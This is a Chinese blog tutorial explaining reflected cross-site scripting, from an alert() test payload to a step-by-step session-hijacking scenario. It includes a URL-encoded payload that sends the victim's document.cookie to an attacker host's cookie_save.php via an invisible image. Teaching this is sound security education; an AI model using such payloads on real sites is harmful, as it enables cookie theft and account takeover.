zoukankan      html  css  js  c++  java
  • 跨站脚本攻击之反射型XSS漏洞

    如果一个WEB应用程序使用动态页面传递参数向用户显示错误信息,就有可能会造成一种常见的XSS漏洞。一般情况下,这种页面使用一个包含消息文本 的参数,并在页面加载时将文本返回给用户。对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好 的信息提示页面。

    例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:

    http://fovweb.com/xss/message.php?send=Hello,World!

    输出内容:

    Hello,World!

    此程序功能为提取参数中的数据并插入到页面加载后的HTML代码中,这是XSS漏洞的一个明显特征:如果此程序没有经过过滤等安全措施,则它将会很容易受到攻击。下面我们一起来看如何实施攻击。
    在原程序的URL的参数为,替换为我们用来测试的代码:

    http://fovweb.com/xss/message.php?send=<script>alert(‘xss’)</script>

    页面输出内容则为:

    <script>alert(‘xss’)</script>

    当用户在用户浏览器打开的时,将会弹出提示消息。如图1所示:

    通过URL传参测试XSS

    图1 通过URL传参测试XSS

    在目前互联网的Web程序中存在的XSS漏洞,有近75%的漏洞属于这种简单的XSS漏洞。由于这种漏洞需要发送一个包含了嵌入式 JavaScript代码的请求,随后这些代码被反射给了发出请求的用户,因此被称为反射型XSS。攻击有效符合分别通过一个单独的请求与响应进行传送和 执行,因为也被称为一阶XSS。

    利用漏洞

    利用XSS漏洞攻击Web程序的其它用户的方式有很多种。最简单的一种攻击方法是,利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
    利用反射型XSS漏洞进行会话权限劫持的攻击步骤,如图2所示:

    反射型XSS漏洞的攻击步骤

    图2 反射型XSS漏洞的攻击步骤

    (1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
    例:

    Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

    (2) 攻击者将含有攻击代码的URL发送给被攻击人;

    例:

    http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E

    (3) 用户打开攻击者发送过来的ULR;
    (4) Web应用程序执行用户发出的请求;
    (5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
    (6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
    (7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录。

  • 相关阅读:
    水晶报表常见问题
    winform post xml 并获取返回xml
    C#操作INI文件
    将Stream转换成String,将String转化成Stream
    winform异步监听POST请求
    winform异步获取POST过来的XML
    C#读取XML C#写入XML
    XDocument转XmlDocument ,XmlDocument转XDocument 静态扩展方法
    C#读取XML节点
    Java 字符转码之UTF8转为GBK/GB2312
  • 原文地址:https://www.cnblogs.com/shihao/p/2559293.html
Copyright © 2011-2022 走看看